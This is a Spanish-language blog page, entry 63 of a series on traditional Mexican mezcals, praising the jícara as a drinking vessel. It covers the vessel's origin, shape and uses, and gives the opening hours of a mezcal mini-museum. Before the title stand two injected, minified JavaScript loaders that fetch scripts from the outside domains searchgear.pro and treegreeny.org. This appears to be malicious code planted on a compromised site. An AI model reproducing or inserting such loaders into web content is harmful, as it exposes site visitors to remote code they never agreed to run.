;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » 63. Elogio a la jícara

63. Elogio a la jícara


Quien no haya tomado Mezcal Tradicional (MT) en una jícara, no sabe lo que es disfrutarlo, pues es el recipiente ideal para saborearlo. Daré cuatro razones.
1) En ella se balancea perfectamente la intensidad aromática y la riqueza alcohólica de un MT que, como se sabe, no puede ser menor a 45 grados, aunque sí mayor. 2) Al tomarla en la mano y sentirla en los labios, es sumamente sensual, pues es tibia y transmite la certeza de estar viva. 3) En ella los Maestros Mezcalilleros –desde siempre- hacen las pruebas de perleados y ajustan la riqueza alcohólica de sus mezcales. 4) Se presta para ser compartida, con todas las ventajas –y desventajas- que esto implica.
De forma semiesférica, no conviene dejarla en superficie plana pues el mezcal se tira; hay que asentarla en un rodete de carrizo o improvisarle uno, o de plano no soltarla y con suerte nos la vuelven a llenar.
Cuenco inmemorial, sirve para beber agua, pulque, tejate, pozol, chocolate y otras bebidas; también para rituales, ornato, juguetes, instrumentos musicales, medicina, para bañarse y muchos usos más.
Proviene de plantas distintas, pues es un fruto del que se utiliza el epicarpio cuya consistencia es leñosa. Según el fruto, se obtiene una jícara, o dos o si es redondo, el cual se parte por mitad obteniéndose jícaras gemelas o “cuatas” de color café. La superficie interna es rugosa o lisa; la externa, lisa y con cierto brillo, aunque a veces tiene protuberancias. Por decisión de artistas regionales, algunas jícaras son labradas a mano con motivos animales, vegetales o los que inspiren su imaginación, creando así pequeñas obras de arte.
En cuanto dimensiones, las hay de 25 cm de diámetro o de 3, y pueden ser redondas u ovaladas. La capacidad dependerá de su tamaño; las chiquitas son bellísimas pero les cabe poco mezcal.
Para ver jícaras, visítese el MiniMuseo de los Mezcales Tradicionales: lunes a viernes de 14 a 22 horas; sábados, 12 a 15 y de 18 a 22. Por supuesto en Red Fly: Orizaba 145, Roma, DF. Entrada libre.
http://impreso.milenio.com/node/8914439#

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